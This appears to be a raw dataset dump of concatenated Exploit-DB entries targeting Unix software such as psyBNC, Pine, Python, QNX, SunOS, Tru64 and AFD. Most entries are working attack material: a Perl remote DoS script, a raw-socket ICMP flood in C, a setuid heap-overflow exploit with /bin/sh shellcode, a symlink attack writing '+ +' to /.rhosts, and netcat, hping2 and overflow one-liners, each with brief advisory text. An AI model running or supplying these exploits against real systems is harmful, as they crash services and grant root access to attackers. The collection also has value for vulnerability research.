deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22287
Description: Netscape 7.0 - JavaScript Regular Expression Denial of Service
Type: dos
Platform: unix
Date: 2003-02-25
Author: dwm

Exploit:
source: https://www.securityfocus.com/bid/6959/info

It has been reported that Netscape based browsers may be vulnerable to a denial of service condition when executing certain JavaScript methods.

If a malicious page containing a specially crafted JavaScript regular expression method is viewed the browser reportedly becomes un-stable this may result in the critical failure of an affected browser.

This vulnerability was reported for Netscape version 7. It is not known if previous versions are also affected. 

<html>
<head>
<title>test</title>
<--script-- language="JavaScript">
function reformatDate(someDate) {
var tokens = someDate.split(/(\/|-)/);
if (tokens[1].length == 1) tokens[1] = "0" + tokens[1];
if (tokens[0].length == 1) tokens[0] = "0" + tokens[0];
var result = tokens[2] + tokens[1] + tokens[0];
alert(result);
//return result;
}
</--script-->
</head>
<body>
<form action="" method="GET" name="form1" onSubmit="return reformatDate(this.dt.value);">
MM/DD/YYYY - <input type=text name=dt>
<input type=submit>
</form>
</body>
</html>
Exploit-DB #21644
Description: Pine 4.x - Empty MIME Boundary Denial of Service
Type: dos
Platform: unix
Date: 2002-07-24
Author: Martin J. Muench

Exploit:
source: https://www.securityfocus.com/bid/5301/info

Pine is an open source mail user agent distributed by the University of Washington. It is freely available for Unix, Linux, and Microsoft Operating Systems.

When a mail is received by pine that contains MIME content, and the value of the MIME boundary is blank, pine becomes unstable. This vulnerability has been discovered to cause a core dump in the pine client, and could be used to deny service to legitimate users of the client.

Sending an email to a pine user containing MIME content with the following fields set as specified will cause the crash:

Content-Type: multipart/mixed; boundary=""
Mime-Version: 1.0
Exploit-DB #21409
Description: psyBNC 2.3 - Oversized Passwords Denial of Service
Type: dos
Platform: unix
Date: 2002-04-22
Author: DVDMAN

Exploit:
source: https://www.securityfocus.com/bid/4570/info

PsyBNC is a freely available, open source IRC bouncing server. It is available for the UNIX and Linux operating systems.

Under some circumstances, it is possible for a remote user to crash a vulnerable server. Upon connection to a vulnerable system, if a user sends a password of 9000 or more characters, and disconnects from the system, the server process does not die. Instead, the process continues to live and consume a large amount of resources.


#!/usr/bin/perl
#PsyBNC 2.3 Remote DDOS POC
#By DVDMAN (DVDMAN@L33TSECURITY.COM)
#WWW.L33TSECURITY.COM
#L33T SECURITY

use Getopt::Std;
use IO::Socket;
$|=1;


my %options;
getopt('Hhp',\%options);
$arg2 = shift(@ARGV);
$options{h} && usage();
if ($options{H})
{
do_psy();
}
if ($options{p})
{
do_psy();
}
else
{
usage();
}
sub usage()
{
    print("[L33TSECURITY]  PsyBNC 2.3 Remote DDOS\n");
    print(" (C) DVDMAN \n\n");
    print("Usage: $0 [options]\n");
    print("-H = hostname or ip REQUIRED\n");
    print("-p = port of PSYBNC server REQUIRED\n");
}
  
exit(1);

 

sub do_psy() {
my $test = $options{H};
my $test2 = $options{p};

    $remote = IO::Socket::INET->new(
                        Proto     => "tcp",
                                PeerAddr  => $test,
                                PeerPort  => $test2,
        );
    unless ($remote) {
           print"error cannot connect";
           return
        }
    $remote->autoflush(1);


print STDERR "PsyBNC REMOTE DDOS BY DVDMAN\n";
print STDERR " starting attack in 5 seconds...\n";
sleep(5);

my $user = "USER OWNED OWNED OWNED OWNED OWNED\r\n";
my $nick = "NICK OWNED\r\n";
my $pw = "PASS " . "A"x10000;

print $remote $user;
print $remote $nick;
print $remote $pw;
print STDERR "DONE\n"; 
die "BYE\n";
}





#By DVDMAN (DVDMAN@L33TSECURITY.COM)
#WWW.L33TSECURITY.COM
#L33T SECURITY
Exploit-DB #32534
Description: Python 2.5.2 - 'Imageop' Module Argument Validation Buffer Overflow
Type: dos
Platform: unix
Date: 2008-10-27
Author: Chris Evans

Exploit:
source: https://www.securityfocus.com/bid/31932/info

Python's 'imageop' module is prone to a buffer-overflow vulnerability.

Successful exploits may allow attackers to execute arbitrary code in the context of applications using the vulnerable Python modules. This may result in a compromise of the underlying system. Failed attempts may lead to a denial-of-service condition.

These issues affect versions prior to Python 2.5.2-r6. 

import imageop
s = ''
imageop.crop(s, 1, 65536, 65536, 0, 0, 65536, 65536)
Exploit-DB #34145
Description: Python 3.2 - 'audioop' Module Memory Corruption
Type: dos
Platform: unix
Date: 2010-06-14
Author: haypo

Exploit:
source: https://www.securityfocus.com/bid/40863/info

The 'audioop' module for Python is prone to a memory-corruption vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

 $ python -c "import audioop; audioop.reverse('X', 2)"
Exploit-DB #21984
Description: QNX 6.1 - 'TimeCreate' Local Denial of Service
Type: dos
Platform: unix
Date: 2002-11-06
Author: Pawel Pisarczyk

Exploit:
// source: https://www.securityfocus.com/bid/6114/info

A denial of service vulnerability has been discovered in QNX.

It has been reported that it is possible for unprivileged users to cause QNX systems to stop responding, by creating multiple timers containing specific characteristics.

It should be noted that this issue was reported for QNX 6.1. It is not yet known whether this issue affects other releases.

/*
 * QNX RTP 6.1 Local DoS exploit
 *
 * author: Pawel Pisarczyk <pawel@immos.com.pl>, 2002
 *
 * After compilation and output binary execution system hangs.
 */
 
#include <errno.h>
#include <stdio.h>
#include <stddef.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/neutrino.h>
#include <inttypes.h>


int main(int argc, char *argv[])
{
	struct sigevent event;
	struct _itimer itimer;
	int chid;
	int tmid;
	int coid;
	int k;
		

	if ((chid = ChannelCreate(0)) < 0) {
		fprintf(stderr, "Can't create channel!\n");
		exit(-1);
	}
	
	if ((coid = ConnectAttach(0, getpid(), chid, 0, 0)) < 0) {
		fprintf(stderr, "Can't connect to channel!\n");
		exit(-1);
	}
	
	
	for (k = 0; k < 16; k++) {
	
		SIGEV_PULSE_INIT(&event, coid, 16, _PULSE_CODE_MINAVAIL + 1, k);
		
		if ((tmid = TimerCreate(CLOCK_REALTIME, &event)) < 0) {
			fprintf(stderr, "Can't create timer!\n");
			return -1;
		}


		itimer.nsec = 1000000;
		itimer.interval_nsec = 1000000;
		TimerSettime(tmid, 0, &itimer, NULL);
	}
	
	
	while (getc(stdin) != '#');
	return 0;
}
Exploit-DB #32009
Description: QNX Neutrino RTOS 6.3 - 'phgrafx' Local Buffer Overflow
Type: dos
Platform: unix
Date: 2008-07-01
Author: Filipe Balestra

Exploit:
source: https://www.securityfocus.com/bid/30024/info

QNX Neutrino RTOS is prone to a local buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input. This issue affects the 'phgrafx' utility.

Attackers can exploit this issue to execute arbitrary code with superuser privileges. Successful exploits will completely compromise affected computers. Failed exploit attempts will result in a denial of service.

QNX Neutrino RTOS 6.3.2 and 6.3.0 are vulnerable; other versions may be affected as well.

# PHOTON_PATH=/tmp
# cd /tmp
# mkdir palette
# cd palette
# touch `perl -e 'print "A" x 290 . ".pal"'`
# /usr/photon/bin/phgrafx
Exploit-DB #24595
Description: QNX Photon input-cfg - '-s' Overflow
Type: dos
Platform: unix
Date: 2004-09-13
Author: Julio Cesar Fort

Exploit:
source: https://www.securityfocus.com/bid/11164/info
 
Reportedly QNX Photon MicroGUI is affected by multiple buffer overflow vulnerabilities in MicroGUI utilities. These issues are due to a failure of the affected applications to validate user-supplied string lengths before copying them into finite process buffers.
 
An attacker may leverage these issues to execute arbitrary code on the affected system within the context of the vulnerable applications; the applications are typically setuid applications.

$ /usr/photon/bin/input-cfg -s AAAAA[...]
Exploit-DB #24594
Description: QNX Photon phlocale - '-s' Overflow
Type: dos
Platform: unix
Date: 2004-09-13
Author: Julio Cesar Fort

Exploit:
source: https://www.securityfocus.com/bid/11164/info
 
Reportedly QNX Photon MicroGUI is affected by multiple buffer overflow vulnerabilities in MicroGUI utilities. These issues are due to a failure of the affected applications to validate user-supplied string lengths before copying them into finite process buffers.
 
An attacker may leverage these issues to execute arbitrary code on the affected system within the context of the vulnerable applications; the applications are typically setuid applications.


$ /usr/photon/bin/phlocale -s AAAAA[...]
Exploit-DB #24593
Description: QNX Photon phrelay-cfg - '-s' Overflow
Type: dos
Platform: unix
Date: 2004-09-13
Author: Julio Cesar Fort

Exploit:
source: https://www.securityfocus.com/bid/11164/info

Reportedly QNX Photon MicroGUI is affected by multiple buffer overflow vulnerabilities in MicroGUI utilities. These issues are due to a failure of the affected applications to validate user-supplied string lengths before copying them into finite process buffers.

An attacker may leverage these issues to execute arbitrary code on the affected system within the context of the vulnerable applications; the applications are typically setuid applications.

$ /usr/photon/bin/phrelay-cfg -s AAAAA[...]
Exploit-DB #24596
Description: QNX Photon pkg-installer - '-s' Overflow
Type: dos
Platform: unix
Date: 2004-09-13
Author: Julio Cesar Fort

Exploit:
source: https://www.securityfocus.com/bid/11164/info
  
Reportedly QNX Photon MicroGUI is affected by multiple buffer overflow vulnerabilities in MicroGUI utilities. These issues are due to a failure of the affected applications to validate user-supplied string lengths before copying them into finite process buffers.
  
An attacker may leverage these issues to execute arbitrary code on the affected system within the context of the vulnerable applications; the applications are typically setuid applications.

$ /usr/photon/bin/pkg-installer -s AAAAA[...]
Exploit-DB #21345
Description: Qualcomm QPopper 4.0.x - Remote Denial of Service
Type: dos
Platform: unix
Date: 2002-03-15
Author: Jonas Frey

Exploit:
source: https://www.securityfocus.com/bid/4295/info

Qualcomm's QPopper is a POP3 mail server for Linux and Unix based systems. Recent versions of QPopper have been released as open source projects.

A vulnerability has been reported in some versions of qpopper. Reportedly, if a string of longer than approximately 2048 characters is sent to the qpopper process, a denial of service condition will occur. 

perl -e '{print "A"x"2049"}' | netcat host.com 110
Exploit-DB #22031
Description: Rational ClearCase 4.1 - Portscan Denial of Service
Type: dos
Platform: unix
Date: 2002-11-22
Author: Stefan Bagdohn

Exploit:
source: https://www.securityfocus.com/bid/6228/info

Rational ClearCase has been reported to be prone to a denial of service condition. It is possible to cause this condition by portscanning a system running the vulnerable version of ClearCase. This issue was demonstrated using the nmap portscanning utility.

An attacker can exploit this vulnerability by making two consecutive portscans of a vulnerable system. This will cause ClearCase to crash. Restarting the ClearCase service is required to restore functionality.

nmap -vvv -O -sT ip.of.clearcase.system
nmap -vvv -O -sT -p 371 ip.of.clearcase.system
Exploit-DB #41142
Description: SunOS 5.11 ICMP - Denial of Service
Type: dos
Platform: unix
Date: 2017-01-22
Author: Todor Donev

Exploit:
/*
*  SunOS 5.11 Remote ICMP Weakness Kernel DoS Exploit
*
*  Todor Donev <todor.donev@gmail.com>
*  http://www.ethical-hacker.org/
*  https://www.facebook.com/ethicalhackerorg
*
*  Disclaimer:
*  This or previous programs is for Educational
*  purpose ONLY. Do not use it without permission.
*  The usual disclaimer applies, especially the
*  fact that Todor Donev is not liable for any
*  damages caused by direct or indirect use of the
*  information or functionality provided by these
*  programs. The author or any Internet provider
*  bears NO responsibility for content or misuse
*  of these programs or any derivatives thereof.
*  By using these programs you accept the fact
*  that any damage (dataloss, system crash,
*  system compromise, etc.) caused by the use
*  of these programs is not Todor Donev's
*  responsibility.
*
*  Use them at your own risk!
*
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
=20
unsigned char b00m[75] =3D
{
    0x45, 0xFF, 0x00, 0x4D, 0x0C,
    0x52, 0x00, 0x00, 0x7E, 0x01,
    0x0C, 0xF2, 0x85, 0x47, 0x21,
    0x07, 0xC0, 0xA8, 0x0E, 0x58,
    0x03, 0x01, 0xAE, 0x37, 0x6F,
    0x3B, 0x66, 0xA7, 0x60, 0xAA,
    0x76, 0xC1, 0xEC, 0xA7, 0x7D,
    0xFA, 0x8A, 0x72, 0x8E, 0xC6,
    0xE3, 0xD2, 0x64, 0x13, 0xE7,
    0x4D, 0xBC, 0x01, 0x40, 0x5B,
    0x8E, 0x8B, 0xE5, 0xEE, 0x5E,
    0x37, 0xDD, 0xC2, 0x54, 0x8E,
    0x8D, 0xCE, 0x0C, 0x42, 0x97,
    0xA1, 0x8C, 0x04, 0x8A, 0xC2,=20
    0x6B, 0xAE, 0xE9, 0x2E, 0xFE,
} ;
=20
    long   resolve(char *target){
    struct hostent *tgt;
    long   addr;
=20
    tgt =3D gethostbyname(target);
if (tgt =3D=3D NULL)
  return(-1);
    memcpy(&addr,tgt->h_addr,tgt->h_length);
    memcpy(b00m+16,&addr,sizeof(long));
  return(addr);
}
int main(int argc, char *argv[]){
    struct  sockaddr_in dst;
    long    saddr, daddr;
    int     s0cket;
    printf("[ SunOS 5.11 Remote ICMP Weakness Kernel DoS Exploit\n");
    printf("[ Todor Donev <todor.donev@gmail.com> www.ethical-hacker.org\n"=
);
  if (argc < 2){
    printf("[ Usage: %s <target>\n", *argv);
    return(1);
  }
  daddr   =3D resolve(argv[1]);
  saddr   =3D INADDR_ANY;
  memcpy(b00m+16, &daddr, sizeof(long));
  dst.sin_addr.s_addr   =3D daddr;
  dst.sin_family        =3D AF_INET;
  s0cket                =3D socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s0cket =3D=3D -1)
    return(1);
    printf("[ ICMP Attacking: %s\n", argv[1]);
  while(1){
    if (sendto(s0cket,&b00m,75,0,(struct sockaddr *)&dst,sizeof(struct sock=
addr_in)) =3D=3D -1){
         perror("[ Error");
         exit(-1);
    }
  }
}
Exploit-DB #21261
Description: Tru64 - Malformed TCP Packet Denial of Service
Type: dos
Platform: unix
Date: 2002-01-31
Author: Luca Papotti

Exploit:
source: https://www.securityfocus.com/bid/4011/info

It has been reported that Tru64 systems may be prone to a denial of service condition when handling malformed TCP packets.

Specifically, when processing a malformed TCP packet with both the SYN and FIN flags set, vulnerable Tru64 systems may block indefinitely, thus causing a denial of service. As a result other legitimate users may no longer be capable of accessing remote services.

This vulnerability is said to affect Tru64 4.0E as well as various versions of Digital Unix and VxWorks.

hping2 -a <spoofed ip> -SPF -p 21 -c 1 <dest ip>
Exploit-DB #20376
Description: Wietse Venema Rpcbind Replacement 2.1 - Denial of Service
Type: dos
Platform: unix
Date: 1998-11-13
Author: Patrick Gilbert

Exploit:
source: https://www.securityfocus.com/bid/1893/info

A remote root vulnerability exists in certain versions of rpcbind portmapper. 

RPC (Remote Procedure Call) allows a program to request a service from a program located in another computer in a network without requiring detailed information on the network configuration.

An attacker capable of forging a pmap_set/pmap_unset udp packet can cause the remote host to register or unregister arbitrary RPC programs.

This can permit an attacker to carry out a denial of services by disabling key services on the target host, including mountd, nfsd and ypserv.

Because it allows a malicious local user to register rpc programs on the server, depending on the program the attacker chooses to register, this vulnerability can allow a compromise of root privilege, potentially extending to other systems on the local network.

Note that, in addition to the platforms listed as vulnerable, others have not been test and may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20376.tgz
Exploit-DB #31403
Description: Zabbix 1.1x/1.4.x - File Checksum Request Denial of Service
Type: dos
Platform: unix
Date: 2008-03-13
Author: Milen Rangelov

Exploit:
source: https://www.securityfocus.com/bid/28244/info

ZABBIX is prone to a denial-of-service vulnerability when handling specially crafted requests for file checksums.

An attacker can exploit this issue to cause the affected application to stop responding, denying service to legitimate users.

echo "vfs.file.cksum[/dev/urandom]" | nc localhost
echo "vfs.file.cksum[/dev/urandom]" | nc localhost
echo "vfs.file.cksum[/dev/urandom]" | nc localhost
Exploit-DB #21771
Description: AFD 1.2.x - Working Directory Local Buffer Overflow / Local Privilege Escalation
Type: local
Platform: unix
Date: 2002-09-04
Author: eSDee

Exploit:
/*
source: https://www.securityfocus.com/bid/5626/info
 
AFD (Automatic File Distributor) is prone to a number of locally exploitable stack and heap based buffer overflow conditions. These issues are all related to insufficient bounds checking of externally supplied values for the working directory, either via the command line or through an environment variable.
 
A number of the vulnerable AFD binaries are installed setuid root and may potentially be exploited by a local attacker to execute arbitrary code as root. 
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] =
    "\xeb\x0a" /* 10-byte-jump; setreuid(0,0); execve /bin/sh; exit(0); */
    "--netric--"
    "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
    "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
    "\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

int
main(int argc, char *argv[])
{
    char buffer[1135];

    unsigned int retloc     = 0xbfffe360;
    unsigned int ret        = 0x0806f020; /* &shellcode */

    if (argc > 1) retloc = strtoul(argv[1], &argv[1], 16);
    if (argc > 2) ret    = strtoul(argv[2], &argv[2], 16);

    memset(buffer, 0x41, sizeof(buffer));
    memcpy(buffer, "MON_WORK_DIR=",13);
    memcpy(buffer+13, shellcode, strlen(shellcode));

    buffer[1117] = 0xff; /* prev_size */
    buffer[1118] = 0xff;
    buffer[1119] = 0xff;
    buffer[1120] = 0xff;

    buffer[1121] = 0xfc; /* size field */
    buffer[1122] = 0xff;
    buffer[1123] = 0xff;
    buffer[1124] = 0xff;

    buffer[1126] = (retloc & 0x000000ff); /* FD */
    buffer[1127] = (retloc & 0x0000ff00) >> 8;
    buffer[1128] = (retloc & 0x00ff0000) >> 16;
    buffer[1129] = (retloc & 0xff000000) >> 24;

    buffer[1130] = (ret & 0x000000ff); /* BK */
    buffer[1131] = (ret & 0x0000ff00) >> 8;
    buffer[1132] = (ret & 0x00ff0000) >> 16;
    buffer[1133] = (ret & 0xff000000) >> 24;

    buffer[1134] = 0x0;
    putenv(buffer);

    fprintf(stdout, "AFD 1.2.14 local root exploit by eSDee of Netric (www.netric.org)\n");
    fprintf(stdout, "-----------------------------------------------------------------\n");
    fprintf(stdout, "Ret    = 0x%08x\n", ret);
    fprintf(stdout, "Retloc = 0x%08x\n", retloc);

    execl("/bin/mon_ctrl", "mon_ctrl", NULL);
    return 0;
}
Exploit-DB #20436
Description: Apple Mac OSX 10 / HP-UX 9/10/11 / Mandriva 6/7 / RedHat 5/6 / SCO 5 / IRIX 6 - Shell Redirection Race Condition
Type: local
Platform: unix
Date: 2000-01-02
Author: proton

Exploit:
source: https://www.securityfocus.com/bid/2006/info

bash, tcsh, cash, ksh and sh are all variations of the Unix shell distributed with many Unix and Unix clone operating systems. A vulnerability exists in these shells that could allow an attacker to arbitrarily write to files.

A vulnerability has been discovered in a number of Unix shells which may allow a local attacker to corrupt files or potentially elevate privileges.

Scripts and command line operations using << as a redirection operator create files in the /tmp directory with a predictable naming convention. Additionally, files are created in the /tmp directory without first checking if the file already exists.

This could result in a symbolic link attack that could be used to corrupt any file that the owner of the redirecting shell has access to write to. This issue affects those systems running vulnerable versions of bash, tcsh, cash, ksh and sh.

ksh is reportedly not vulnerable for IBM AIX systems. 

#!/bin/ksh -x
touch /tmp/silly.1
ln -s /tmp/silly.1 /tmp/sh$$.1
ls -l /tmp/silly.* /tmp/sh$$.*
cat <<EOF
Just some short text
EOF
ls -l /tmp/silly.* /tmp/sh$$.*
rm /tmp/silly.* /tmp/sh$$.*

This example was submitted by proton <proton@energymech.net> in an October 29th, 2001 BugTraq posting:

/tmp# echo 'hello world' > rootfile
/tmp# chmod 600 rootfile
/tmp# ln -s rootfile sh$$
/tmp# chown -h 666.666 sh$$
/tmp# ls -l rootfile sh$$
-rw------- 1 root root 12 Oct 29 03:55 rootfile
lrwxrwxrwx 1 666 666 8 Oct 29 03:56 sh12660 ->
rootfile
/tmp# cat <<BAR
? FOO
? BAR
FOO
o world
/tmp# ls -l rootfile sh$$
/bin/ls: sh12660: No such file or directory
-rw------- 1 root root 12 Oct 29 03:56 rootfile
/tmp# cat rootfile
FOO
o world
/tmp#
Exploit-DB #19707
Description: Ascend CascadeView/UX 1.0 tftpd - Symbolic Link
Type: local
Platform: unix
Date: 1999-12-31
Author: Loneguard

Exploit:
source: https://www.securityfocus.com/bid/910/info

The tftpd bundled with CascadeView for Ascend's B-STDX 8000/9000 network devices creates a log in /tmp called tftpd_xfer_status.log. If /tmp/tftpd_xfer_status.log already exists as a symbolic link, tftpd will follow it and overwrite any data it points to (it runs as root). It is possible for an attacker to link the log file to a file like /.rhosts to compromise elevated privileges on the device. It should be made clear that since this is a network device vulnerability, the consequences of compromise could be much greater to the network the device is on as a whole than if it were a single regular host.

#!/bin/sh
#
# tftpserv.sh - Loneguard 07/03/99
#
# Buggy tftp server shipped with CascadeView B-STDX 8000/9000
#
rm /tmp/tftpd_xfer_status.log
ln -s /.rhosts /tmp/tftpd_xfer_status.log
echo KungFu > crazymonkey
( sleep 1 ; echo put crazymonkey ; sleep 1 ; echo quit ) | tftp 127.1
echo "+ +" > /.rhosts
Exploit-DB #21797
Description: ASCPU 0.60 Kernel - Memory File Descriptor Leakage
Type: local
Platform: unix
Date: 2002-09-16
Author: badc0ded

Exploit:
source: https://www.securityfocus.com/bid/5716/info

It has been reported that ascpu is vulnerable to a leakage of open file descriptors that may result in unauthorized disclosure of kernel memory. It is allegedly possible for attackers to inherit the open file descriptors for /dev/mem and /dev/kmem by executing a malicious program through ascpu. The program that is executed can be specified by the attacker at the command line.

ascpu -exe "dummy&/usr/local/sbin/lsof|grep dummy|grep mem"